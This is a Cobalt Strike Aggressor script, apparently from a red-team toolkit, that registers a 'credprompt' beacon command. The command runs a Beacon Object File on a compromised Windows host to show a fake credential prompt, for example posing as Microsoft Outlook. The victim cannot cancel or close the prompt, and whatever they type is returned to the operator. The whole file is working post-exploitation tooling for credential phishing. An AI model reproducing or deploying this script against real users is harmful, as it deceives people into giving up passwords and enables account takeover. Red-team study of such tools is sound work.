credprompt.cna 1.5 KB

123456789101112131415161718192021222324252627282930313233343536
  1. # author REDMED-X
  2. beacon_command_register(
  3. "credprompt", "Start custom Windows credential prompt.",
  4. "INFO:\nStart Windows credential prompt in an attempt to capture user credentials. Entered credentials are returned as output. The prompt is persistent so the victim can't cancel/close the prompt or enter an empty password. Any user attempt to do so is shown in the output. Finally, a timer for the prompt is set to make sure the beacon will return at some point.\n\n" .
  5. "ARGUMENTS:\n[<title>]: a custom window title.\n[<message>]: a custom message set in the window.\n[<timer>]: number in seconds after how long the prompt should auto close. Default is set to 60.\n\n" .
  6. "USAGE:\ncredprompt <title> <message> <(optional) timer>\n\n" .
  7. "EXAMPLES:\ncredprompt \"Microsoft Outlook\" \"Connecting to user@example.com\" 60\n\n");
  8. alias credprompt {
  9. $bid = $1;
  10. $title = $2;
  11. $message = $3;
  12. $timer = $4;
  13. if ($title eq "") {
  14. berror($bid, "Please give the window a custom title.\n");
  15. return;
  16. }
  17. if ($message eq "") {
  18. berror($bid, "Please give the window a custom message.\n");
  19. return;
  20. }
  21. # Read in the right BOF file
  22. $handle = openf(script_resource("credprompt.o"));
  23. $data = readb($handle, -1);
  24. closef($handle);
  25. # Pack our arguments
  26. $arg_data = bof_pack($bid, "ZZi", $title, $message, $timer);
  27. blog($bid, "Tasked to start a credential prompt..");
  28. beacon_inline_execute($bid, $data, "go", $arg_data);
  29. }